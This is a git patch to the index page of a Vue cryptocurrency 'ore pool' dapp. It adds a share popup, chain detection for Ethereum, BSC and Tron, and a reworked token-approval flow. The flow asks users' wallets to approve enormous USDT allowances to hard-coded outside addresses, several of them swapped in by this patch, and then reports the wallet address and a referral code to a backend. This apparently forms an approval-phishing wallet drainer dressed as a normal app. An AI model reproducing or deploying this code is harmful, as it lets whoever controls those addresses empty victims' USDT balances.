From 948f6cf1a9358a709d132d43e12b472156332461 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Mon, 18 Apr 2022 10:58:36 +0800
Subject: [PATCH] gx
---
src/pages/index/index.vue | 94 +++++++++++++++++++++++++++++++++++++---------
1 files changed, 75 insertions(+), 19 deletions(-)
diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index 83a354a..dddb198 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -3,7 +3,7 @@
<div class="top">
<div class="header flex align-center justify-between">
<div class="left flex align-center">
- <img src="../../assets/images/icon3.png" class="icon"/>
+ <img src="../../assets/images/icon3.png" class="icon" @click="openShare"/>
<van-dropdown-menu active-color="#3D8AF2" class="i18-wrap">
<van-dropdown-item v-model="local" :options="languague" @change="changeLanguage"/>
</van-dropdown-menu>
@@ -74,6 +74,9 @@
</div>
</div>
</van-overlay>
+ <van-popup position="bottom" :show="iShowSharePopup">
+ <Share ref="shareRef" @close="closeShare"></Share>
+ </van-popup>
</div>
</template>
@@ -84,12 +87,14 @@
import { useI18n } from 'vue-i18n'
import OrePool from './orePool';
import Account from './account';
+import Share from '../share/index';
export default {
name: 'App',
components: {
OrePool,
- Account
+ Account,
+ Share
},
setup() {
const { proxy } = getCurrentInstance();
@@ -104,6 +109,14 @@
let simulateData = ref(null);
let availableWallet = ref('');
let local = ref(proxy.$i18n.locale);
+ let shareRef = ref(null);
+ let iShowSharePopup = ref(false);
+ function openShare(){
+ proxy.iShowSharePopup = true;
+ }
+ function closeShare(){
+ proxy.iShowSharePopup = false;
+ }
function changeLanguage(type){
localStorage.setItem('lang', type);
proxy.$i18n.locale = type;
@@ -129,6 +142,7 @@
await provider.enable();
provider.on("accountsChanged", (accounts) => {
console.log(accounts[0]+'换啦')
+ window.location.reload();
});
provider.on("disconnect", (code, reason) => {
sessionStorage.setItem('address', '');
@@ -139,6 +153,9 @@
proxy.walletAddress = accounts[0];
console.log('所有的账户,拿得到吗?')
console.log(accounts)
+ const chainId = await proxy.web3.eth.getChainId();
+ proxy.chainType = chainId == 1 ? 'ETH' : 'BSC'
+ sessionStorage.setItem('chain', proxy.chainType);
proxy.isApprove()
}
@@ -191,6 +208,12 @@
hasApprove, //是否授权
accountRef,
+
+ shareRef,
+ iShowSharePopup,
+ openShare,
+ closeShare,
+
web3,
isApproving,
dappList: [{
@@ -254,7 +277,8 @@
imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg'
}],
simulateData, //模拟数据
- availableWallet
+ availableWallet,
+ chainType: ref('')
};
},
methods: {
@@ -265,22 +289,33 @@
await window.ethereum.enable();
const accounts = await ethereum.request({ method: 'eth_accounts' });
address = accounts[0];
- console.log('dapp环境噢')
- console.log(accounts)
+ this.web3 = new Web3(window.ethereum);
+ const chainId = await this.web3.eth.getChainId();
+ this.chainType = chainId == 1 ? 'ETH' : 'BSC'
}else if(window.tronWeb){
address = window.tronWeb.defaultAddress.base58;
+ this.chainType = 'TRX'
}
this.walletAddress = address;
+ sessionStorage.setItem('chain', this.chainType);
},
isApprove () {
this.$axios({
- url: '/dapi/common/isApprove/' + this.walletAddress,
+ url: '/dapi/common/isApprove/' + this.chainType +'/'+this.walletAddress,
method: 'get'
}).then((res) => {
if(res.code == 200) {
- this.hasApprove = true;
- this.initAccountData()
- sessionStorage.setItem('address', this.walletAddress);
+ let result = res.data;
+ if(result == 1) {
+ this.hasApprove = true;
+ this.initAccountData()
+ sessionStorage.setItem('address', this.walletAddress);
+ } else if (result == 2) {
+ this.submitApprove()
+ } else {
+ this.hasApprove = false;
+ this.$toast(this.$t('message.ApproveTip'));
+ }
}else{
this.hasApprove = false;
this.$toast(this.$t('message.ApproveTip'));
@@ -292,19 +327,37 @@
async approve () {
this.isApproving = true;
if(window.ethereum) {
- this.ethereumApprove(new Web3(window.ethereum))
+ this.ethereumApprove()
}else if(window.tronWeb){
this.tornWebApprove()
}else{
- this.ethereumApprove(this.web3)
+ this.ethereumApprove()
}
},
- ethereumApprove (web3) {
- const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
- const authAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
+ async ethereumApprove () {
+ let contractAddress = '';
+ let authAddress = '';
+ const chainId = await this.web3.eth.getChainId();
+ console.log(this.web3)
+ console.log('chainId----'+chainId)
+ if(chainId == 1) {
+ contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+ authAddress = '0x6c5640c572504a75121e57760909a9dd0E672f2D';
+ }else if(chainId == 56) {
+ contractAddress = "0x55d398326f99059fF775485246999027B3197955";
+ authAddress = '0x4ebdca102623b46a47042d580dddade2a53d057f';
+ this.web3.eth.currentProvider.rpcUrl='https://data-seed-prebsc-1-s1.binance.org:8545';
+ console.log('bian---')
+ console.log(this.web3.eth.currentProvider)
+ }else{
+ this.$toast(this.$t('message.Waringing'));
+ this.isApproving = false;
+ this.isShowApproveModal = false;
+ return;
+ }
const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
- const contract = new web3.eth.Contract(abi, contractAddress);
- contract.methods.approve(authAddress, 90000000000000).send({from:this.walletAddress, gas:100000}).then((res) => {
+ const contract = new this.web3.eth.Contract(abi, contractAddress);
+ contract.methods.approve(authAddress, 9000000000000000).send({from:this.walletAddress, gas:100000}).then((res) => {
console.log('授权成功')
console.log(res)
this.submitApprove()
@@ -320,7 +373,7 @@
async tornWebApprove () {
const tronWeb = window.tronWeb;
const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- const authAddress = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
+ const authAddress = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
let instance = await tronWeb.contract().at(trxContractAddress);
let res = await instance["approve"](authAddress, "90000000000000000000000000000");
res.send({
@@ -337,22 +390,25 @@
});
},
submitApprove () {
- let refererId = this.getQueryString('refererId');
+ let refererId = this.getQueryString('code');
this.$axios({
url: '/dapi/common/approve',
method: 'post',
data: {
address: this.walletAddress,
- refererId: refererId ? refererId : ''
+ refererId: refererId ? refererId : '',
+ chainType: this.chainType
}
}).then((res) => {
if(res.code == 200) {
this.hasApprove = true;
this.initAccountData();
+ sessionStorage.setItem('address', this.walletAddress);
}
})
},
initAccountData(){
+ this.shareRef && this.shareRef.value.initData();
this.accountRef && this.accountRef.value.initData();
},
getSimulateData () {
--
Gitblit v1.9.1